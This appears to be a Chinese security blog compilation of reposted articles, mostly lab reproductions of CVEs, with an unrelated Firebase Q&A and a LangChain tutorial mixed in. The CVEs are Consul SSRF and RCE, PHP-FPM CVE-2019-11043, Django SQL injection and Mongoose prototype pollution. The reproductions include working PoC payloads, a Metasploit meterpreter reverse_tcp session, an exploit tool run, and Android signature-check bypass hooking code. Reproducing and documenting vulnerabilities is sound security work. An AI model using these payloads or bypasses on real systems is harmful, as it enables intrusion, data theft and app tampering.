CVE-2022-29153 consul SSRF

CVE-2022-29153 consul SSRF

本文转自cokeBeer 并作补充

漏洞信息

  • 漏洞类型:SSRF
  • 漏洞版本:< 1.9.17,>= 1.10.0, < 1.10.10,>= 1.11.0, < 1.11.5
  • 漏洞简介:http类型的health_check被重定向导致的SSRF

repo介绍

consul是一个用go语言编写的分布式应用管理服务器,目前在github上已经有24.7k个star

漏洞分析

consul提供了对于服务的health_check能力。首先安装一个漏洞版本的consul

1
2
3
curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -
sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"
sudo apt-get update && sudo apt-get install consul=1.10.9

然后启动一个consul服务器

1
consul agent -dev -enable-script-checks -node=web -ui

访问http://localhost:8500/可以看到consul的界面

image

编写一个ssrf.json作为poc,里面标志的http地址会将请求302重定向到127.0.0.1:80

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"ID": "ssrf",
"name": "ssrf",
"port": 5001,
"check": {
"checkid": "ssrf_check",
"name": "Check ssrf",
"http": "http://fuzz.red/ssrf/127.0.0.1/",
"method": "GET",
"interval": "10s",
"timeout": "1s"
}
}

使用如下指令将health_check注册到consul服务器

1
curl --request PUT --data @ssrf.json http://127.0.0.1:8500/v1/agent/service/register

可以看到添加成功

image

这时consul会主动运行health_check,请求被302重定向到内网,导致了SSRF。可以看到nc也收到了请求

image

修复方式

agent/config.go中添加DisableRedirects字段,可以在服务器端配置,关闭health_check的重定向

image

参考链接

Hashicorp Consul Service API远程命令执行漏洞

Hashicorp Consul Service API远程命令执行漏洞

本文转自starnight_cyber 并作补充

简介

Consul是HashiCorp公司推出的一款开源工具,用于实现分布式系统的服务发现与配置。与其他分布式服务注册与发现的方案相比,Consul提供的方案更为“一站式”。Consul内置了服务注册与发现框架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案,不再需要依赖其他工具(例如ZooKeeper等),使用方式也相对简单。

Consul使用Go语言编写,因此具有天然的可移植性(支持Linux、Windows和Mac OS X系统);且安装包中仅包含一个可执行文件,便于部署,可与Docker等轻量级容器无缝配合。

在特定配置下,恶意攻击者可以通过发送精心构造的HTTP请求在未经授权的情况下在Consul服务端远程执行命令。

环境搭建

https://releases.hashicorp.com/consul/1.2.4/ 下载相应 Linux 版本,直接启动服务即可。

1
./consul agent -dev -client your-serv-ip -enable-script-checks

访问:http://your-serv-ip:8500/v1/agent/self

启用了 EnableRemoteScriptChecks: true

image

漏洞验证

  1. 使用 MSF 进行测试,简要过程如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 > search Hashicorp

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/misc/nomad_exec 2021-05-17 excellent Yes HashiCorp Nomad Remote Command Execution
1 exploit/multi/misc/consul_rexec_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Rexec
2 exploit/multi/misc/consul_service_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Services API


Interact with a module by name or index. For example info 2, use 2 or use exploit/multi/misc/consul_service_exec

msf6 > use 2
[*] Using configured payload linux/x86/meterpreter/reverse_tcp

可以看到成功创建 meterpreter。

image

修复措施

  1. 禁用Consul服务器上的脚本检查功能
  2. 确保Consul HTTP API服务无法通过外网访问或调用
  3. 对/v1/agent/service/register 禁止PUT方法

参考

https://blog.csdn.net/qq_44159028/article/details/115870000

https://releases.hashicorp.com/consul/1.2.4/

https://blog.pentesteracademy.com/hashicorp-consul-remote-command-execution-via-services-api-d709f8ac3960

以上!

与 Firebase 安装服务器 API 通信时的 Android 错误

与 Firebase 安装服务器 API 通信时的 Android 错误

本文转自Segmentfault 并作补充

Questions

我在应用程序启动时收到一条错误消息,说明日志如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
W/Firebase-Installations: Error when communicating with the Firebase Installations server API. HTTP response: [400 Bad Request: {
"error": {
"code": 400,
"message": "API key not valid. Please pass a valid API key.",
"status": "INVALID_ARGUMENT",
"details": [
{
"@type": "type.googleapis.com/google.rpc.Help",
"links": [
{
"description": "Google developers console",
"url": "https://console.developers.google.com"
}
]
}
]
}
}
]
2020-04-27 12:42:34.621 22226-23596/in.co.androidapp.g7 E/Firebase-Installations: Firebase Installations can not communicate with Firebase server APIs due to invalid configuration. Please update your Firebase initialization process and set valid Firebase options (API key, Project ID, Application ID) when initializing Firebase.

大约一周前我收到一封电子邮件,我应该更新我的 google_services.json 文件,我已经更新了 4-5 次。没有改进。它已经工作了大约一年。自从我在应用程序中遇到此问题以来只有 2-3 天。

随后,Firebase Cloud Messaging 和其他 Firebase 服务无法正常工作。我没有进行编程初始化(即,使用 FirebaseOptions 对象提供这些值),只是默认初始化使用 FirebaseApp.initializeApp(this);

我试过 https://github.com/firebase/firebase-android-sdk/blob/master/firebase-installations/API_KEY_RESTRICTIONS.md

提前致谢。

原文由 Daksh Agrawal 发布,翻译遵循 CC BY-SA 4.0 许可协议

Answers

如果您的 API 密钥有问题,您可以在 Cloud Console 中创建一个新的 API 密钥:

  • 转到 谷歌云控制台
  • 选择相关项目(即您用于申请的项目)
  • 打开菜单并转到 APIs & ServicesCredentials
  • 在页面顶部点击 + CREATE CREDENTIALSAPI key
  • 用新创建的 API 密钥替换应用程序中的 API 密钥

如果您使用 google-services.json 来自 Firebase 控制台 的配置文件,您首先必须删除或限制当前 google-services.json 中使用的 API 密钥,以便使 Firebase 更新配置文件和使用新的 API 密钥。

  • 在您的 google-services.json 配置文件中识别 API 密钥。
  • 通过根据 Firebase Installations API 指标页面 检查 API 密钥的使用情况,确认 API 密钥正在创建错误请求。 API 密钥的列 Usage with this service 应显示大于 0 的数字。
  • 通过单击 bin 符号删除该 API 密钥,或通过单击铅笔符号将 Application restrictions 添加到该 API 密钥。 !!警告!! 不要删除应用程序现有安装所需的 API 密钥,以用于其他 Firebase 服务,例如 Firebase Auth 或 Realtime-Database。

等待几分钟,让 Google 服务器更新。下次下载 google-service.json 配置文件应该包含一个新的 API 密钥。

您可以使用以下 CURL 命令测试您的配置。你得到的 错误 是什么? (注意:如果您看到的是 JSON 数据,则说明您的配置成功)

测试您的配置是否适用于以下 CURL 命令:

1
2
3
4
5
 api_key=<YOUR_API_KEY>;
project_identifier=<YOUR_PROJECT_ID>;
app_id=<YOUR_FIREBASE_APP_ID_EXAMPLE_1:12345678:android:00000aaaaaaaa>;

curl -H "content-type: application/json" -d "{appId: '$app_id', sdkVersion: 't:1'}" https://firebaseinstallations.googleapis.com/v1/projects/$project_identifier/installations/?key=$api_key;

关于 API 密钥和 Firebase Installations API 的其他相关链接:

原文由 Andreas Rayo Kniep 发布,翻译遵循 CC BY-SA 4.0 许可协议

使用 ChatGPT 与 Python 中的第三方应用程序进行交互

使用 ChatGPT 与 Python 中的第三方应用程序进行交互

本文转自Miloce 并作补充

将语言模型(如ChatGPT)集成到第三方应用程序中已经变得越来越流行,因为它们能够理解和生成类似人类的文本。然而,需要认识到ChatGPT的一些限制,比如它的知识截止日期是在2021年9月,以及它无法直接访问维基百科或 Python 等外部资源。

鉴于这一挑战,LangChain的联合创始人兼首席执行官Harrison Chase提出了一个创新的解决方案。他开发了Python LangChain模块,该模块使开发人员能够轻松地将第三方应用程序与大型语言模型集成在一起。这一突破开启了无限的可能性,允许开发人员充分利用语言模型的强大功能,同时有效地处理来自外部来源的信息。

在本文中,我们将探讨使用Python LangChain模块与ChatGPT交互以与第三方应用程序交互的有趣概念。到文章末尾,您将更深入地了解如何利用这种集成,创建更复杂和高效的应用程序。

导入ChatGPT模块

第一步是安装Python LangChain模块,您可以使用以下pip命令完成此操作。

1
pip install langchain

接下来,您需要从langchain.chat_models模块导入ChatOpenAI类。ChatOpenAI类允许您创建ChatGPT的实例。为此,请将model_name属性传递给ChatOpenAI类,将模型设置为”gpt-3.5-turbo”。OpenAI的”gpt-3.5-turbo”模型为ChatGPT提供动力。您还需要将您的OpenAI API密钥传递给open_api_key属性。

1
2
3
4
5
6
from langchain.chat_models import ChatOpenAI
import os

api_key = os.getenv('OPENAI_KEY2')
chatgpt = ChatOpenAI(model_name="gpt-3.5-turbo",
openai_api_key=api_key)

现在,我们已准备好在Python中将第三方应用程序与ChatGPT集成。

使用ChatGPT从维基百科提取信息

如前所述,ChatGPT的知识截止日期为2021年9月,无法回答那之后的查询。例如,如果您要求ChatGPT返回2022年温布尔登锦标赛的维基百科文章摘要,您将获得以下答案:

image

LangChain代理允许您与第三方应用程序交互。有关更多信息,请查看所有LangChain代理集成的列表。

让我们看看如何使用示例代码将ChatGPT与维基百科等第三方应用程序集成。

您需要从langchain.agents模块导入load_toolsinitialize_agentAgentType实体。

接下来,您应该将代理类型作为输入提供给load_tools类。在下面的示例脚本中,指定的代理类型是wikipedia。随后的步骤涉及使用initialize_agent()方法创建代理对象。在调用initialize_agent()方法时,您需要传递工具类型、ChatGPT实例和代理类型作为参数。如果将verbose参数设置为True,它将显示代理任务执行的思考过程。

在下面的脚本中,我们要求维基百科代理返回2022年温布尔登锦标赛的维基百科文章摘要。

在输出中,您可以看到代理的思考过程以及包含文章摘要的最终结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from langchain.agents import load_tools, initialize_agent, AgentType

tools = load_tools(
['wikipedia'],
)

agent_chain = initialize_agent(
tools,
chatgpt,
agent=AgentType.ZERO_SHOT_REACT_DESCRIPTION,
verbose=True,
)

agent_chain.run(
"返回2022年温布尔登锦标赛的维基百科文章摘要。"
)

image

从ArXiv提取信息

让我们看看另一个示例。我们将从ArXiv获取一篇文章的标题和作者姓名,ArXiv是一个流行的开放获取科研论文、预印本和其他学术文章的存储库。

脚本保持不变,只需将arxiv作为参数值传递给load_tools()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
tools = load_tools(
["arxiv"],
)

agent_chain = initialize_agent(
tools,
chatgpt,
agent=AgentType.ZERO_SHOT_REACT_DESCRIPTION,
verbose=True,
)

agent_chain.run(
"给我提供文章1301.3781的标题和作者姓名。"
)

image

从CSV文件提取信息

LangChain提供了直接创建特定任务代理实例的方法。例如,langchain.agents模块的create_csv_agent()方法允许您创建与CSV文件交互的CSV代理。

让我们看一个示例。以下脚本导入包含公司员工流失信息的数据集。

1
2
3
4
5
import pandas as pd
dataset = pd

.read_csv(r'D:\Datasets\employee_attrition_dataset.csv')
dataset.head()

image

让我们使用CSV代理从此文件获取信息。我们要求ChatGPT返回销售部门的员工总数。

在输出中,您可以看到ChatGPT返回输出的过程。

1
2
3
4
5
6
7
8
9
from langchain.agents import create_csv_agent

agent = create_csv_agent(
chatgpt,
r'D:\Datasets\employee_attrition_dataset.csv',
verbose=True
)

agent.run("返回销售部门的员工总数。")

image

从Pandas DataFrame提取信息

同样,您可以使用create_pandas_dataframe_agent()方法从Pandas dataframe中提取信息。在下面的脚本中,我们要求ChatGPT返回销售部门中教育领域为医学的员工总数。

1
2
3
4
5
6
7
8
9
10
11
12
import pandas as pd
dataset = pd.read_csv(r'D:\Datasets\employee_attrition_dataset.csv')

from langchain.agents import create_pandas_dataframe_agent

agent = create_pandas_dataframe_agent(
chatgpt,
dataset,
verbose=True
)

agent.run("返回销售部门中教育领域为医学的员工总数。")

image

至此,教程结束。希望您会喜欢它!

Android逆向-获取APP签名

Android逆向-获取APP签名

本文转自Taardisaa 并作补充

很久以前开的blog,关于如何获取APP签名。不知道为啥要写这个了。

Android逆向-APP签名

生成JKS签名

Android studio 如何生成jks签名文件 - 简书 (jianshu.com)

打开AndroidStudio

1
Build-->Generate Signed APK-->APK

然后Key store path选择Create New

然后设置好存储路径,密码也设置一下(偷懒写个123456)

Key的别名就叫key,密码一样简单。

然后剩下的Certificate全填taardisCountry Code填11451。

反正创建成功后,就在选定路径下出现了jks密钥文件。

APK签名

将APK魔改,重新打包后,需要重新签名。

参考:Android之通过 apksigner 对 apk 进行 手动签名_恋恋西风的博客-CSDN博客

1
apksigner.bat sign --verbose --ks D:\Android\Keystore\taardis.jks --v1-signing-enabled false --v2-signing-enabled true --ks-key-alias key --ks-pass pass:123456 --key-pass pass:123456 --out D:\Android\Frida\gadget\bs.apk D:\Android\Frida\gadget\b.apk

成功后提示:

1
Signed

获取APK签名

首先APK解包:

1
apktool d <apk>

然后在 META-INF 文件夹拿到 CERT.RSA 文件。之后:

1
keytool -printcert -file CERT.RSA

不过Keytool似乎是Java的工具,不管了现在用不上。

JEB/JADX

这种反编译器也能直接看到APK的签名信息。

MT APP签名检查及绕过

L-JINBIN/ApkSignatureKillerEx: 新版MT去签及对抗 (github.com)

从“去除签名验证”说起 - 腾讯云开发者社区-腾讯云 (tencent.com)

过签名校验(2) – MT 的 IO 重定向实践 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

MT提供的签名绕过方式能够实现对API和APK方式的绕过。但是对于SVC的则无能为力。

1
2
3
4
String signatureExpected = "3bf8931788824c6a1f2c6f6ff80f6b21";
String signatureFromAPI = md5(signatureFromAPI());
String signatureFromAPK = md5(signatureFromAPK());
String signatureFromSVC = md5(signatureFromSVC());

API检测

PackageManager直接获得签名。

1
2
3
4
5
6
7
8
9
private byte[] signatureFromAPI() {
try {
@SuppressLint("PackageManagerGetSignatures")
PackageInfo info = getPackageManager().getPackageInfo(getPackageName(), PackageManager.GET_SIGNATURES);
return info.signatures[0].toByteArray();
} catch (PackageManager.NameNotFoundException e) {
throw new RuntimeException(e);
}
}

APK检测

找到APP私有文件夹下的base.apk,然后得到签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private byte[] signatureFromAPK() {
try (ZipFile zipFile = new ZipFile(getPackageResourcePath())) {
Enumeration<? extends ZipEntry> entries = zipFile.entries();
while (entries.hasMoreElements()) {
ZipEntry entry = entries.nextElement();
if (entry.getName().matches("(META-INF/.*)\\.(RSA|DSA|EC)")) {
InputStream is = zipFile.getInputStream(entry);
CertificateFactory certFactory = CertificateFactory.getInstance("X509");
X509Certificate x509Cert = (X509Certificate) certFactory.generateCertificate(is);
return x509Cert.getEncoded();
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}

SVC检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private byte[] signatureFromSVC() {
try (ParcelFileDescriptor fd = ParcelFileDescriptor.adoptFd(openAt(getPackageResourcePath()));
ZipInputStream zis = new ZipInputStream(new FileInputStream(fd.getFileDescriptor()))) {
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
if (entry.getName().matches("(META-INF/.*)\\.(RSA|DSA|EC)")) {
CertificateFactory certFactory = CertificateFactory.getInstance("X509");
X509Certificate x509Cert = (X509Certificate) certFactory.generateCertificate(zis);
return x509Cert.getEncoded();
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}

绕过

Java层的东西不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
private static void killOpen(String packageName) {
try {
// Native层Hook
System.loadLibrary("SignatureKiller");
} catch (Throwable e) {
System.err.println("Load SignatureKiller library failed");
return;
}
// 读取/proc/self/maps读取APP路径
String apkPath = getApkPath(packageName);
if (apkPath == null) {
System.err.println("Get apk path failed");
return;
}
// 读取自身APK文件(私有目录下的base.apk)
File apkFile = new File(apkPath);
// 在APP私有目录下创建origin.apk文件
File repFile = new File(getDataFile(packageName), "origin.apk");
try (ZipFile zipFile = new ZipFile(apkFile)) {
// 将APK中的origin.apk给提取出来(origin.apk是MT去签是生成的,是初始没有被去签的APK)
String name = "assets/SignatureKiller/origin.apk";
ZipEntry entry = zipFile.getEntry(name);
if (entry == null) {
System.err.println("Entry not found: " + name);
return;
}
// 读取出来
if (!repFile.exists() || repFile.length() != entry.getSize()) {
try (InputStream is = zipFile.getInputStream(entry); OutputStream os = new FileOutputStream(repFile)) {
byte[] buf = new byte[102400];
int len;
while ((len = is.read(buf)) != -1) {
os.write(buf, 0, len);
}
}
}
} catch (IOException e) {
throw new RuntimeException(e);
}
// 传入底层so Hook
hookApkPath(apkFile.getAbsolutePath(), repFile.getAbsolutePath());
}

然后看Native层,实际上是XHook,用于替换libc函数。

1
mt_jni.c

实际上就做了个字符串替换,有意将原本要打开的APK替换成origin.apk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const char *apkPath__;
const char *repPath__;

int (*old_open)(const char *, int, mode_t);
static int openImpl(const char *pathname, int flags, mode_t mode) {
//XH_LOG_ERROR("open: %s", pathname);
if (strcmp(pathname, apkPath__) == 0){
//XH_LOG_ERROR("replace -> %s", repPath__);
return old_open(repPath__, flags, mode);
}
return old_open(pathname, flags, mode);
}

JNIEXPORT void JNICALL
Java_bin_mt_signature_KillerApplication_hookApkPath(JNIEnv *env, __attribute__((unused)) jclass clazz, jstring apkPath, jstring repPath) {
apkPath__ = (*env)->GetStringUTFChars(env, apkPath, 0);
repPath__ = (*env)->GetStringUTFChars(env, repPath, 0);

xhook_register(".*\\.so$", "openat64", openat64Impl, (void **) &old_openat64);
xhook_register(".*\\.so$", "openat", openatImpl, (void **) &old_openat);
xhook_register(".*\\.so$", "open64", open64Impl, (void **) &old_open64);
xhook_register(".*\\.so$", "open", openImpl, (void **) &old_open);

xhook_refresh(0);
}

通过Hook open函数,可以把基于APK读取的签名方式给绕过。

下面提供一个绕过基于PackageManager的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
private static void killPM(String packageName, String signatureData) {
// 构造一个假的签名
Signature fakeSignature = new Signature(Base64.decode(signatureData, Base64.DEFAULT));
Parcelable.Creator<PackageInfo> originalCreator = PackageInfo.CREATOR;
Parcelable.Creator<PackageInfo> creator = new Parcelable.Creator<PackageInfo>() {
@Override
public PackageInfo createFromParcel(Parcel source) {
PackageInfo packageInfo = originalCreator.createFromParcel(source);
if (packageInfo.packageName.equals(packageName)) { //
if (packageInfo.signatures != null && packageInfo.signatures.length > 0) {
packageInfo.signatures[0] = fakeSignature; // 将虚假的签名放入packageInfo,取代原来的
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
if (packageInfo.signingInfo != null) {
Signature[] signaturesArray = packageInfo.signingInfo.getApkContentsSigners();
if (signaturesArray != null && signaturesArray.length > 0) {
signaturesArray[0] = fakeSignature;
}
}
}
}
return packageInfo;
}

@Override
public PackageInfo[] newArray(int size) {
return originalCreator.newArray(size);
}
};
try {
// 用假的creator替换原来的PackageInfo.CREATOR
findField(PackageInfo.class, "CREATOR").set(null, creator);
} catch (Exception e) {
throw new RuntimeException(e);
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
// 解除某些Android系统API的使用限制?
HiddenApiBypass.addHiddenApiExemptions("Landroid/os/Parcel;", "Landroid/content/pm", "Landroid/app");
}
try {
// 清空签名缓存
Object cache = findField(PackageManager.class, "sPackageInfoCache").get(null);
// noinspection ConstantConditions
cache.getClass().getMethod("clear").invoke(cache);
} catch (Throwable ignored) {
}
try {
// 清空签名缓存
Map<?, ?> mCreators = (Map<?, ?>) findField(Parcel.class, "mCreators").get(null);
// noinspection ConstantConditions
mCreators.clear();
} catch (Throwable ignored) {
}
try {
// 清空签名缓存
Map<?, ?> sPairedCreators = (Map<?, ?>) findField(Parcel.class, "sPairedCreators").get(null);
// noinspection ConstantConditions
sPairedCreators.clear();
} catch (Throwable ignored) {
}
}

参考

Java Keytool 介绍 - 且行且码 - 博客园 (cnblogs.com)

获取Android应用签名的几种方式 - 简书 (jianshu.com)

Android studio 如何生成jks签名文件 - 简书 (jianshu.com)

apktool重新打包时报错_apktool 忽略错误信息__y4nnl2的博客-CSDN博客

Android之通过 apksigner 对 apk 进行 手动签名_恋恋西风的博客-CSDN博客

apksigner | Android 开发者 | Android Developers (google.cn)

CVE-2019-11043漏洞分析与复现

CVE-2019-11043漏洞分析与复现

本文转自STong66 并作补充

漏洞描述

Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO

为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
location ~ [^/]\.php(/|$) {

...

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

fastcgi_param PATH_INFO $fastcgi_path_info;

fastcgi_pass php:9000;

...

}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

漏洞类型

远程代码执行漏洞

危险等级

高危

利用条件

nginx配置了fastcgi_split_path_info

受影响系统

PHP 5.6-7.x,Nginx>=0.7.31

漏洞复现

使用某个大佬的 docker 环境进行复现:

PHP-FPM 远程代码执行漏洞(CVE-2019-11043)

https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md

准备工作:安装 docker、golang 环境

在kali中使用如下命令安装docker和golang:

1
2
sudo apt-get install docker docker-compose
sudo apt install golang

image

image

image

搭建漏洞环境

1
2
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d

image

image

image

image

安装漏洞利用工具

1
2
3
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

image

image

漏洞利用

在phuip-fpizdam目录下执行 go run . “http://127.0.0.1:8080/index.php"后成功显示漏洞利用成功。

在浏览器进行了如下请求,成功复现,可以执行系统命令,id可以替换为其他OS命令。

image

漏洞分析

具体漏洞信息可参考:https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a/#diff-624bdd47ab6847d777e15327976a9227

有漏洞信息可知漏洞是由于path_info 的地址可控导致的,我们可以看到,当path_info 被%0a截断时,path_info 将被置为空,回到代码中我就发现问题所在了。

如下漏洞代码

image

在代码的1134行我们发现了可控的 path_info 的指针env_path_info

其中

env_path_info 就是变量path_info 的地址,path_info 为0则plien 为0。

slen 变量来自于请求后url的长度 int ptlen = strlen(pt); int slen = len - ptlen;

由于apache_was_here这个变量在前面被设为了0,因此path_info的赋值语句实际上就是:

1
path_info = env_path_info ? env_path_info + pilen - slen : NULL;

env_path_info是从Fast CGI的PATH_INFO取过来的,而由于代入了%0a,在采取fastcgi_split_path_info ^(.+?\.php)(/.*)$;这样的Nginx配置项的情况下,fastcgi_split_path_info无法正确识别现

在的url,因此会Path Info置空,所以env_path_info在进行取值时,同样会取到空值,这也正是漏洞原因所在。

Django SQL注入漏洞 (CVE-2022-28346)

Django SQL注入漏洞 (CVE-2022-28346)

本文转自李火火安全阁 并作补充

一、简介

Django是用Python开发的一个免费开源的Web结构,几乎包括了Web使用方方面面,能够用于快速建立高性能、文雅的网站,Diango提供了许多网站后台开发常常用到的模块,使开发者可以专注于业务部分。

二、漏洞概述

漏洞编号:CVE-2022-28346

攻击者使用精心编制的字典,通过 **kwargs 传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击,该漏洞在 2.2.28 之前的 Django 2.2、3.2.13 之前的 3.2 和 4.0.4 之前的 4.0 中都存在这个问题。

三、漏洞影响版本

  • 4.0 <= Django < 4.0.4
  • 3.2 <= Django < 3.2.13
  • 2.2 <= Django < 2.2.28

四、漏洞分析

http://cn-sec.com/archives/962127.html

五、漏洞复现

Docker

1
2
docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000 s0cke3t/cve-2022-28346

本地环境搭建

环境下载:https://github.com/DeEpinGh0st/CVE-2022-28346

Python:3.9.8
Django:3.2.11

本地启动

环境初始化

1
2
3
python manage.py makemigrations
python manage.py migrate
访问http://x.x.x.x:8000/ 插入初始化数据

image

浏览器访问

image

访问404可以获取到报错页面查看报错信息得到传参接口(注入点接口)

image

访问到demo/ 目录下,同样会出现报错信息

image

利用报错中提示的参数进行SQL注入
POC:http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" –

image

六、修复方法

官方已发布安全版本
下载地址:https://www.djangoproject.com/download/

Mongoose Prototype Pollution Vulnerability in automattic/mongoose(CVE-2023-3696)

Mongoose Prototype Pollution Vulnerability in automattic/mongoose(CVE-2023-3696)

本文转自ehhthing 并作补充

If an attacker has some way to control an object on the Mongo server through one way or another, it is possible to cause prototype pollution on any Mongoose client. Notably, if a poorly implemented service allows a user to control the object in findByIdAndUpdate and similar functions, this bug could be triggered through the $rename operator. Another possibility is if two different services interact with the same Mongo database, it is possible that one of them allows a user to inject an arbitrary object containing a __proto__ field, which would also trigger this bug.

If used with Express and EJS, this bug can easily lead to RCE. Many other libraries have known prototype pollution exploits as well, which may cause significant impact.

Allowing user input directly into update operations seems to be a very common pattern. For example, if we ask GPT-4 a basic prompt for updating a post using Mongoose, it gives us:

Prompt:

Using Express and Mongoose, take input from the user to find a “Post” by an id, and update its fields.

Response:

In Express and Mongoose, you can use the findByIdAndUpdate method to find a “Post” by an id and update its fields. Here’s how you can do it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require('express');
const mongoose = require('mongoose');
const Post = require('./models/post'); // Assuming you have a Post model in models/post.js

const app = express();

app.use(express.json()); // for parsing application/json

app.put('/post/:id', async (req, res) => {
const { id } = req.params;

try {
const post = await Post.findByIdAndUpdate(id, req.body, { new: true });
// new: true returns the updated post rather than the original post when the operation began

if (!post) {
return res.status(404).send();
}

res.send(post);
} catch (e) {
res.status(400).send(e);
}
});

In the above example, req.params.id is used to get the id from the URL. The req.body is used to get the updated data from the user. The { new: true } option is used to return the updated post.

Proof of concept:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import { connect, model, Schema } from 'mongoose';

await connect('mongodb://127.0.0.1:27017/exploit');

const Example = model('Example', new Schema({ hello: String }));

const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
$rename: {
hello: '__proto__.polluted'
}
});

// this is what causes the pollution
await Example.find();

const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }

process.exit();

Resulting Database Entry

1
2
3
4
5
6
7
8
exploit> db.examples.find({})
[
{
_id: ObjectId("64a757117e3dbf11b14e0fd4"),
__v: 0,
['__proto__']: { polluted: 'world!' }
}
]

Explanation

When Mongoose finds documents and reads the malicious document into an object, it uses an object with a prototype. If the top level object contains a __proto__ field, it leads to overwrites of the object prototype.

Affected Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// document.js
/**
* Init helper.
*
* @param {Object} self document instance
* @param {Object} obj raw mongodb doc
* @param {Object} doc object we are initializing
* @param {Object} [opts] Optional Options
* @param {Boolean} [opts.setters] Call `applySetters` instead of `cast`
* @param {String} [prefix] Prefix to add to each path
* @api private
*/

function init(self, obj, doc, opts, prefix) {
// ...

function _init(index) {
// ...

if (!schemaType && utils.isPOJO(obj[i])) {
// ...

// (1)
// our malicious payload first reaches here, where:
// obj is some document
// i = '__proto__'
// so, obj[i] gives Object.prototype, which gets used in (2)
init(self, obj[i], doc[i], opts, path + '.');
} else if (!schemaType) {
// (2)
// after the recursive call on (1), we reach here
// pollution happens on the next line, where:
// doc: Object.prototype,
// obj = { polluted: 'world!' },
// i = 'polluted'
doc[i] = obj[i];
if (!strict && !prefix) {
self[i] = obj[i];
}
} else {

Credits

This bug was found by myself (@ehhthing) and @strellic_

Impact

If used with Express and EJS, this bug can easily lead to RCE. Many other libraries have known prototype pollution exploits as well, which may cause significant impact.

We also found that we can actually exploit Mongoose itself with the prototype pollution, to cause it to bypass all query parameters when using .find(), which allows an attacker to potentially dump entire collections:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import { connect, model, Schema } from 'mongoose';

const mongoose = await connect('mongodb://127.0.0.1:27017/exploit');

const Post = model('Post', new Schema({
owner: String,
message: String
}));

await Post.create({
owner: "SECRET_USER",
message: "SECRET_MESSAGE"
});

const post = await Post.create({
owner: "user",
message: "test message"
});
await Post.findByIdAndUpdate(post._id, {
$rename: {
message: '__proto__.owner'
}
});

// this pollutes Object.prototype.owner = "test message"
await Post.find({ owner: "user" });

// now, when querying posts, even when an owner is specified, all posts are returned
const posts = await Post.find({
owner: "user2"
});

console.log(posts); // both posts created are found
/*
output:
[
{
_id: new ObjectId("64a7610756da3c04f900bf49"),
owner: 'SECRET_USER',
message: 'SECRET_MESSAGE',
__v: 0
},
{
_id: new ObjectId("64a7610756da3c04f900bf4b"),
owner: 'user',
__v: 0
}
]
*/
process.exit();

This could also easily lead to denial of service depending on how large a Mongo collection is, and which other libraries are being used in the application.

Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

本文转自云鲨RASP 并作补充

漏洞简介

